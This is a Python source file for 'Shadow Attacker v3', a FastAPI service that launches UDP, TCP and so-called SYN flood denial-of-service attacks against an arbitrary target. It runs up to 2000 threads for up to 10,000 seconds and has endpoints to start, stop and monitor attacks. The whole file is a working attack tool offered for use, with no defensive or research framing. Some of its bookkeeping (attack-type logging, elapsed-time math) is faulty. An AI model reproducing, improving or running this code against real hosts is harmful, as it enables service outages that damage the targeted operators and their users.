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# --------------------------------------------------------------
#  SHADOW ATTACKER v3 – MAX POWER | 1000 THREADS | 10,000s LIMIT
# --------------------------------------------------------------
import random
import socket
import threading
import time
from collections import deque
from typing import Dict, Optional

import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()

app = FastAPI(title="Shadow Attacker v3")

# Global state
stop_events: Dict[str, threading.Event] = {}
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_times: Dict[str, float] = {}

# PPS tracking
last_time = time.time()
last_total = 0

def _log(msg: str):
    ts = time.strftime("%H:%M:%S")
    log.info(f"{ts} {msg}")
    log_buffer.append(f"{ts} {msg}")

# ------------------- MODELS -------------------
class StartRequest(BaseModel):
    target: str
    port: int = 80
    threads: int = 1000
    duration: int = 300  # seconds, max 10000
    attack_type: str = "udp"  # udp, tcp, syn

class StatusResponse(BaseModel):
    running: bool
    attack_id: Optional[str]
    total_packets: int
    pps: float
    threads: int
    duration: int
    elapsed: float
    remaining: float
    counters: Dict[str, int]
    logs: list[str]

# ------------------- HIGH-PPS WORKERS -------------------
def create_udp_socket():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    return sock

def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    payload = random._urandom(1024)  # 1KB max speed
    sock = create_udp_socket()
    addr = (target, port)
    try:
        while not stop_event.is_set():
            sock.sendto(payload, addr)
            with counters_lock:
                counters[attack_id] = counters.get(attack_id, 0) + 1
                total_packets += 1
    except:
        pass
    finally:
        try: sock.close()
        except: pass

def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    payload = random._urandom(1024)
    while not stop_event.is_set():
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.5)
            sock.connect((target, port))
            while not stop_event.is_set():
                sock.send(payload)
                with counters_lock:
                    counters[attack_id] = counters.get(attack_id, 0) + 1
                    total_packets += 1
        except:
            pass
        finally:
            try: sock.close()
            except: pass

def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    while not stop_event.is_set():
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.01)
            sock.connect_ex((target, port))
            with counters_lock:
                counters[attack_id] = counters.get(attack_id, 0) + 1
                total_packets += 1
        except:
            pass
        finally:
            try: sock.close()
            except: pass

# ------------------- API ROUTES -------------------
@app.post("/start")
def start_attack(req: StartRequest):
    if any(not ev.is_set() for ev in stop_events.values()):
        raise HTTPException(400, "Attack already in progress")

    # Clamp values
    req.threads = min(max(req.threads, 1), 2000)
    req.duration = min(max(req.duration, 1), 10000)

    attack_id = f"{req.target}_{int(time.time())}"
    stop_ev = threading.Event()
    stop_events[attack_id] = stop_ev
    counters[attack_id] = 0
    attack_end_times[attack_id] = time.time() + req.duration

    worker = {
        "udp": udp_flood,
        "tcp": tcp_flood,
        "syn": syn_flood
    }.get(req.attack_type, udp_flood)

    # Launch all threads at once
    threads = []
    for _ in range(req.threads):
        t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True)
        t.start()
        threads.append(t)

    # Auto-stop thread
    def auto_stop():
        time.sleep(req.duration)
        if attack_id in stop_events:
            stop_events[attack_id].set()
            _log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s")
            cleanup(attack_id)

    threading.Thread(target=auto_stop, daemon=True).start()

    _log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)")
    return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration}

@app.post("/stop")
def stop_attack(attack_id: Optional[str] = None):
    if attack_id and attack_id in stop_events:
        stop_events[attack_id].set()
        cleanup(attack_id)
        _log(f"STOPPED {attack_id}")
    else:
        for aid in list(stop_events):
            stop_events[aid].set()
            cleanup(aid)
        _log("STOPPED ALL ATTACKS")
    return {"message": "Stopped"}

def cleanup(aid: str):
    stop_events.pop(aid, None)
    counters.pop(aid, None)
    attack_end_times.pop(aid, None)

@app.get("/status", response_model=StatusResponse)
def status(attack_id: Optional[str] = None):
    global last_time, last_total

    with counters_lock:
        cnt = dict(counters)
        tot = total_packets

    now = time.time()
    elapsed_global = now - last_time
    pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0
    last_time, last_total = now, tot

    active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
    running = bool(active)
    aid = attack_id if attack_id in stop_events else (active[0] if active else None)

    if aid:
        end = attack_end_times.get(aid, now)
        elapsed = now - (end - (end - now))
        remaining = max(0, end - now)
        threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
    else:
        elapsed = remaining = threads = 0

    return StatusResponse(
        running=running,
        attack_id=aid,
        total_packets=tot,
        pps=round(pps, 1),
        threads=threads,
        duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0,
        elapsed=round(elapsed, 1),
        remaining=round(remaining, 1),
        counters={aid: cnt.get(aid, 0)} if aid else cnt,
        logs=list(log_buffer)
    )

# ------------------- ROOT -------------------
@app.get("/")
def root():
    return {"message": "Shadow Attacker v3 - /docs for API"}

# ------------------- START -------------------
if __name__ == "__main__":
    uvicorn.run(
        "main:app",
        host="0.0.0.0",
        port=8000,
        workers=1,
        log_level="warning"
    )